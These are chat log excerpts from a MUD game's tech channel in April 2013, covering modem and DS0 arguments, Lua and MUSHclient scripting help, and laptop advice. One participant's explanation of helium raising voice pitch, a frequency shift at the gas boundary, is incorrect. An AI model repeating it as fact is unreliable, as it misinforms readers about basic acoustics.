T3/r7/2013-04-19.txt.gz:{chan ch=tech}Ranrr Tech: It is a big deal, for whoever has to implement it. For customers, it should not make a big diff.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: not decades.. some cell companies still run analog
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: standard analog/POTS conversations have been digital between stations in most places since the 80s
T3/r7/2013-04-19.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: i dont think you got my anology
T3/r7/2013-04-19.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: wait.. i lied, looks like analog was actually phased out in 2008
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: the 8khz digital backbone is what limited modems
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Ranrr Tech: I think you mean the 64k E0 or 56k T0.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: no, I don't
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Ranrr Tech: Yes, you do.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: no, I don't.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: lol'd
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Ranrr Tech: Well, then you are wrong.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: no, different technology for different purpose
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Ranrr Tech: Specifying a digital connection in khz is wrong.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: it's a sampling, not a connection...
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: and formed the core of why people were wrong to talk about their modems in "baud" rather than "bps"
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Ranrr Tech: What does modem sampling have to do with "digital backbone"?
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: the digital backbone is what dictated modem sampling
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Ranrr Tech: Yes, the T0/E0.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: no
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Ranrr Tech: With 8khz sampling, you can get any speed you like. That's not the limit. The limit is the D0/E0.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Ranrr Tech: T0/E0.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: with 8khz sampling, you can get any speed you like within the confines of the resolution of said sampling...you can't get any speed you like
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Ranrr Tech: Right, because of the limit of the T0/E0.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: round and round she goes, where she stops, nobody knows
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: In either case, one of you is wrong, and the other not. Or you're both wrong. In the end, not sure anyone else really cares. *srun*
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: rather, we're both going at it from a different angle in a chicken-and-egg scenario
T3/r7/2013-04-19.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: maybe you'd rather theyhave this convo on barter??
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: We really need an e-peen channel.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: you're on it
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: Book of Etzli snickers softly.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: /quest
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: since y'all care, 13 QPs +tier +mccp +2pracs :-)
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Rurouni Kinjin Tech: go abelinc go
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Ranrr Tech: Nobody pointed out that the correct term is DS0, not T0, so I guess I'll have to do that myself :D
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: wasn't worth pointing out, when it wasn't the limiting factor anyway ;-)
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Ranrr Tech: Ok.... try increasing your sampling rate to increase your modem speed, and see how that works for you.l
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: it'd work fine, if I were allowed to change it
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: the DS0 doesn't determine the sampling rate, however
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Ranrr Tech: You could not get above a DS0 speed, no matter which sampling you used. That was my point.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: not true, but that gets a bit more complicated...
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Ranrr Tech: bonding doesn't count
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: even without bonding
T3/r7/2013-04-19.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: i think less than 2 people know what you guys are talking about..
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: DS0 isn't the only signal carrier type...DS0 only determines linespeed, not final payload, etc
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Phuriee Tech: Is there a way to configure what channels display in what window?
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Tech: he's not on, but for channel history completeness, to configure which channels show in which windows, right-click the comm window, go to "customize channels" to control the list of which channels show in comm window...then right-click and go to "echo channels in main window" -> "custom echo list" to control the list of channels which show in the main output
T3/r7/2013-04-20.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i have a databse inside of a variable in lua, how do i add something to it? i tried var["key"]["key2"]=2 and it did not work
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: .push()?
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Bricen Tech: I got tossed off 3 times says memory is full and the screen turns red
T3/r7/2013-04-20.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: red? cool
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Bricen Tech: is there some kind of  think in mush that stores memory that i cab enpty 
T3/r7/2013-04-20.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: uhm.. you mean a cache?
T3/r7/2013-04-20.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: can you take a photo of your screen turning red?
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Bricen Tech: I guess what ever i might need to empty to stop that
T3/r7/2013-04-20.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: what kind of computer is it?
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Trachx Tech: probably there is additional info: buy code and enter it to increase avail memory
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Bricen Tech: Ok seem to be moving ok now I will have to wait til it hapens again to get a shot of it
T3/r7/2013-04-20.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: in the meantime, what kind of computer is it?
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Bricen Tech: emachine
T3/r7/2013-04-20.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: what version of windows?
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Bricen Tech: xp
T3/r7/2013-04-20.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: how much RAM?
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Trachx Tech: maybe it is some kind of supervisor, and not RAM but some kind of flash
T3/r7/2013-04-20.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Trachx: you are not being helpful
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Bricen Tech: 512 mb if i am reading it right
T3/r7/2013-04-20.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: hmm. 512 is a little low these days, but it could be ok for XP if you run a clean system
T3/r7/2013-04-20.txt.gz:{chan ch=tech}RoqueWarrior Tech: wow 512mb is a monster
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Bricen Tech: i can search online ok
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Tech: Book of Etzli peers intently at RoqueWarrior.
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Bricen Tech: only play  muds on it 
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Book of Etzli Tech: Not a lot you can do with 512mb these days. Can barely use browsers anymore.
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Bricen Tech: I can search the bet just fine
T3/r7/2013-04-20.txt.gz:{chan ch=tech}RoqueWarrior Tech: im on 3gig and its barely cutting it i want to boost to 8gig
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Bricen Tech: net
T3/r7/2013-04-20.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: did the red screen look like this? http://i.imgur.com/OEGbM4e.png
T3/r7/2013-04-20.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: And 512 is fine for XP. When XP came out 256 was normal.
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at The Jerk Fiendish.
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Bricen Tech: no 
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Book of Etzli Tech: I'm talking more about browsers with all their add-ons now and whatnot.
T3/r7/2013-04-20.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: that's the only kind of red screen I know of
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Bricen Tech: it says something to the affect out of memory 
T3/r7/2013-04-20.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I need to know the exact words
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Book of Etzli Tech: Like right now, Chrome is using 612mb, with the browser alone using 203.
T3/r7/2013-04-20.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: a smart computer will use whatever is available
T3/r7/2013-04-20.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: leaving RAM unused is stupid
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Book of Etzli Tech: Good point.
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Bricen Tech: it has not happend now so I willl wait and see and copy it if it happens again
T3/r7/2013-04-20.txt.gz:{chan ch=tech}RoqueWarrior Tech: my computer is stupid and im super stupid we clash like titans
T3/r7/2013-04-20.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I believe one of those things
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Bricen Tech: I use firefox to browse seems to work good
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Book of Etzli Tech: My wager is that the thing Fiendish doesn't believe is that your computer is stupid. :P
T3/r7/2013-04-20.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Bricen: ok, copy the exact message and try to take a photo of the red
T3/r7/2013-04-20.txt.gz:{chan ch=tech}RoqueWarrior Tech: believe what you wants its a free world
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Book of Etzli Tech: Not according to North Korea.
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Bricen Tech: Ok thanks maybe it was some odd blip
T3/r7/2013-04-20.txt.gz:{chan ch=tech}RoqueWarrior Tech: its their right to believe as they wish
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Vonliege Tech: it's bob's right to make bill believe as joe wishes
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Vonliege Tech: I wish I had a spellup2 wish
T3/r7/2013-04-20.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: as a t0 that isnt the highest priroity lolz
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Vonliege Tech: you right.. I need to get nodirt first
T3/r7/2013-04-20.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: get nohunger
T3/r7/2013-04-20.txt.gz:{chan ch=tech}RoqueWarrior Tech: i wish i had beer
T3/r7/2013-04-20.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: how often you get dirted?
T3/r7/2013-04-20.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: spellup2 definitely worth it
T3/r7/2013-04-20.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: ask your mom how often i get dirty
T3/r7/2013-04-20.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: by that logic getting nohunger is best because you get hungry all the time
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Vonliege Tech: your right - I should get popularity
T3/r7/2013-04-20.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: actually the logic is spellup2 saves you a lot of time over the long haul
T3/r7/2013-04-20.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: but whatever.. I need to go ask my mom about Gruagach's level of dirtiness
T3/r7/2013-04-20.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: everyone better ask
T3/r7/2013-04-20.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: eh, everyone better ask MY mom, or their own moms?
T3/r7/2013-04-20.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: lol
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Hanslanda Tech: I don't have to ask, that's what showers are for.
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Ontuct Tech: I feel dirty just reading tech
T3/r7/2013-04-20.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: keep reading, we dont byte
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Ayasinda Tech: but we may nibble a bit
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Ontuct Tech: there used to be an old apple magazine called nibble.
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Trachx Tech: if I have lua statement like this: table.sort(list, function(a,b) return a.area<b.area end)
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Trachx Tech: can I use if in return part?
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Trachx Tech: I mean, I want to test whether a and b are not null
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Trachx Tech: I mean something like that: table.sort(list, function(a,b) return (if (a ~=  nil and b ~=  nil) then a.area<b.area else false) end)
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Jhav Tech: You want the if outside of the return.  Like if a ~= nil and b ~= nil then return <whatever> else return <whatever> end
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Jhav Tech: Though if you're going to do something that takes more than one statement, seriously put it in a new function.
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Trachx Tech: thanks! idea with new function was the right one :)
T3/r7/2013-04-20.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you don't actually need if for that
T3/r7/2013-04-20.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: lua is pretty clever with and/or
T3/r7/2013-04-20.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you can do, for example, return ((a ~= nli and b~= nil) and (a.area<b.area) or false)
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Trachx Tech: that is quite similar to perls one liners
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Tech: Vonliege mourns as the sacred trust in helers goes flying out the window
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Vonliege Tech: mischan
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Trachx Tech: so many conditions makes such statements harder for me to find what it does
T3/r7/2013-04-20.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: would be cool if mush window could be made transparent. to watch the music videos.
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Hanslanda Tech: don't feel like taking on the risk of the minimize button?
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Aizma Tech: Who the hell minimizes stuff?
T3/r7/2013-04-20.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: never
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Daloran Tech: just move them over to your third display
T3/r7/2013-04-20.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: i have a 7 year old 15"lg:)
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Daloran Tech: makes a good third display =p
T3/r7/2013-04-20.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: the green dead pixel has healed. it took 3 years
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Rurouni Kinjin Tech: wow, it regenerated!
T3/r7/2013-04-20.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: type \\\Transparency (-1, 127)
T3/r7/2013-04-20.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: (be warned
T3/r7/2013-04-20.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: ! ! ! ! ! thanks!
T3/r7/2013-04-20.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: see http://www.gammon.com.au/forum/?id=7794#48
T3/r7/2013-04-20.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: \\\Transparency (-1, 255) will get you back
T3/r7/2013-04-20.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: boockmarked:)
T3/r7/2013-04-20.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: book*
T3/r7/2013-04-20.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: its so cool. must clean the desktop now:)
T3/r7/2013-04-20.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: this is funny. opera doesn't have a hint how to get the controls back. any hotkeys for opening the options there?
T3/r7/2013-04-20.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: only 2 scroll bars now. nothing else..
T3/r7/2013-04-20.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: this is incredible. when you switch off all the toolbars in opera.. you cannot get them back. help doesn't help either:)
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Snooky Tech: Tech looks like ftalk
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Tech: try alt-f11, hwua
T3/r7/2013-04-20.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: it's ctrl-f12 but even that doesn't work... so stupid
T3/r7/2013-04-20.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: oh. worked
T3/r7/2013-04-20.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: why does helium make your voice high?
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Shameful Dugrant Tech: Because sound waves move through it faster than normal air.
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Shameful Dugrant Tech: Which shifts the amplitude up when it crosses the helium/air barrier.
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Shameful Dugrant Tech: Err frequency, not amplitude
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Hanslanda Tech: wouldn't it just shift back down once it got out of the helium?
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Shameful Dugrant Tech: It's the density difference that causes the frequency shift.  As the sound slows down hitting the air, the waves compress, shifting the frequency up.  Sorta like the leading edge of a doppler wave.
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Ophelion Tech: is someone watching big bang theory??
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Arnica Tech: Always
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Zetkax Tech: why ask in tech?
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Hanslanda Tech: it's a show dedicated to nerds.
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Ophelion Tech: soneone asked about helium.
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Rurouni Kinjin Tech: isn't that a city on mars?
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Ophelion Tech: and that episode is on right now.
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: So why are we talking about it on tech?
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Hanslanda Tech: nerds.
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Zetkax Tech: not sure science should be discussed on tech, whatever
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Hanslanda Tech: computer science.
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Zetkax Tech: dont think helium falls into computer science :)
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Book of Etzli Tech: It goes into chemistry science. :D
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Zetkax Tech: so that would be the drugs channel
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Vesuviou Tech: can i bind a plugin to a keystroke so whenver i want to use that plugin, i only have to hit a button to enable or disable it at my whim?
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Tech: yeys
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Tech: yes*
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Tech: Book of Etzli couldn't tell if Abelinc meant eyes or yes.
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Vesuviou Tech: how do i do it, Abelinc?
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Tech: but few plugins would make sense to enable/disable like that
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Tech: you can show/hide most plugins using the plugins built-in commands to get them out of your way
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Vesuviou Tech: i know, i want to know what to do for the 1st step to bind it to a macro
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Tech: binding the plugin to the macro isn't what you should be doing...
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Tech: you should be binding an alias to a macro, where that alias is just part of the plugin
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Tech: and you do that by going to game -> configure -> macros
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Vesuviou Tech: and in the alias box, what command do i type to alias the plugin?
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Tech: you shouldn't alias a plugin...
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Vesuviou Tech: but u just said to bind an alias to a macro where alias is the plugin
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Tech: you should explain what you really want to do, because what you're asking for shouldn't be done...it's trivially-easy to do, but there's no reason to ever do it
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Book of Etzli Tech: No, he said the alias is PART of the plugin.
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Tech: what are you trying to turn on or off
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Tech: that thing should be providing the way to turn its effect on/off, without enabling/disabling the plugin
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Vesuviou Tech: winkle mapper entender 
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Tech: what do you think turning it off does?
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Vesuviou Tech: i just want to turn it off for my own reason
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Tech: there are no reasons
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Tech: don't type xrt
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Vesuviou Tech: instead of having to click with mouse and go to plugin
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Tech: there's no reason to click with mouse, though
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Tech: that plugin has no gui, if you don't want to use it, then don't type its commands
T3/r7/2013-04-20.txt.gz:{chan ch=tech}RedRain Tech: mouse clicking so 1999
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Vesuviou Tech: never mind that, just teach me so i can do others also in future, just teach me the steps pls
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Tech: it doesn't do anything if you're not typing its commands
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Ranrr Tech: hot keys ftw
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Tech: again, it's not something that you should ever do
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Tech: did I mention ever?
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Vesuviou Tech: but it can be done?
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Tech: yup, one liner
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Vesuviou Tech: so what do i type in alias box?
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Tech: you go to help, and search for what you think you're looking for
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Vesuviou Tech: u let me figure whether it is necessary or not on my part
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Vesuviou Tech: damn
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Vesuviou Tech: y cant u show me what to type?
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Tech: ask the person who gave you the bot what the command is to turn it on/off
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Vesuviou Tech: i aready tell u its winkle mapper entender
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Tech: Rikitiki Takihisis grins evilly at you.  Hmmm.  Better keep your distance. 
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Book of Etzli Tech: Why are you being so secretive about your intentions? There's really only one "reason" I could think of to request that kind of thing.
T3/r7/2013-04-20.txt.gz:{chan ch=tech}Tech: and I've already told you that turning that off temporarily serves no purpose
T3/r7/2013-04-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I'm glad that last conversation went well
T3/r7/2013-04-21.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: okay so if I wang to set up an alias in mush which has aliases within it.. how do I get those aliases to trigger correctly?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Thunderax Tech: set it to execute rather than world
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Trachx Tech: I have alias with match: match="^xmsan\ ?(?<number>[0-9]+)?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Trachx Tech: now I wonder, why it is the same as: match="^xmsa\ ?(?<number>[0-9]+)?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Trachx Tech: I mean, I've thought that "\ " means space
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Trachx Tech: so, first alias should fire only in case of writing "xmsan" and second "xmsa", but
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Trachx Tech: but if both have same sequence number (sequence="85") then shorter one is fired first
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Trachx Tech: so, when I type: xmsan 20 then in fact it it executed as xmsa 20
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Trachx Tech: so, have I defined "\ " as space or it has some other different meaning ?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: with gmcp, is it possible to get triggers to work off it with out turning them into plugins?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Trachx Tech: you need first plugin to interpret GMCP data
T3/r7/2013-04-21.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: so do i have to trigger off an onpluginbroadcast?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Trachx Tech: yes, I mean, you will get GMCP data in onpluginbroadcast (if you subscribed to it)
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Trachx Tech: then you can either do something with it just right now or emit it to cause other action
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Trachx Tech: but what are you trying to achieve? maybe there is ready solution or similar one
T3/r7/2013-04-21.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: well ive tried using the bast gmcp quest broadcast plugin, but i cannot seem to get the quest_info section back to a table that i can use
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Trachx Tech: you should probably ask Bast on his plugins
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Trachx Tech: still, there is easily available quest info from GMCP data
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Jbking Tech: anyone useing htc phone with aardwolf app if so i need to know brake limt so text fits nicely ? thnx
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: in mushclient is there an option to always display commands sent to the mud by plugins?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: no, but you can have Aard always tell you what it thinks you've sent
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: that'll do..
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: type "echocommands" to have aard report on everything it sees coming from you
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Mye Tech: does mush provide a way of determining when the last user-initiated event occurred? (e.g. hit a macro key or entered a command but not commands sent due to triggers/timers)
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: yes
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Mye Tech: which function? not seeing in help file
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: check out my autoreply plugin ;-)
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Trachx Tech: you mean it allows to implement !sell spellup and !buy spellup ?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: no
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Trachx Tech: automated trader could sometimes be useful, but seems more like botting
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: it is illegal botting
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: there's not a direct function like my tinyfugue's idle()...but you can get the idle time by having a variable that is updated with currenttime whenever you type something
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Trachx Tech: it seems for me that is it mainly useful for auto AFK setting
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Mye Tech: seeing that.. the override to oncommand updates the time
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Mye Tech: well, onplugincommand..
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Mye Tech: thanks.. easy enough starting place
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: question!
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: in the market for a new laptop... macbook vs. PC?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Eutychus Tech: What do you do with it, really depends on usage.
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Book of Etzli Tech: Pretty sure people would prefer you use sticks and stones to communicate rather than get a new laptop.
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: office productivity, netflix, photos, etc.  typical home use w/ some work
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: is macbook flash-based faster than whatever PC uses?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: if Macbook is in the price range you're shopping for, they're good hardware
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Eutychus Tech: If you like burning money, buy a Mac, if you want to save some and have more freedom, a windows PC.
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Ontuct Tech: if you want something difference go linux
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: linux is an OS, which would work on any of the above laptops...
